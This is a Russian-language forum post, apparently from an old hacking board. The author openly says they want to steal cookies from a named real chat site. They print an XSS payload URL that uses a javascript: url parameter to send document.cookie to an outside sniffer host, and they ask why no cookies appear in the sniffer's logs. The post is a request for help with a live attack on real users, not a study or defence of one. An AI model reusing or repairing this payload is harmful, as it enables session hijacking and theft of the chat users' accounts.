Здравствуйте, я хочу украсть куки с чата (http://home.onego.ru/~smokie_chat/chat/), разобрался я вроде бы с XSS, со снифферами, нашёл на сайт ачата какой XSS используется в voodoo (?url=javascript:alert(/Tested%20by%20qBiN/)
Сниффер использую http://xtoolz.hut1.ru/cgi-bin/x/xsave.gif
В итоге получилось у меня вот такая вещь http://home.onego.ru/~smokie_chat/chat/?url=javascript:document.location="http://xtoolz.hut1.ru/cgi-bin/x/xsave.gif"+document.cookie;
Но куки всё равно в логах не выдаёт((((
Что же я делаю не так?! И может ли это быть связано с тем, что сервер находится на провайдере onego.ru?
Или может я ошибку допускаю?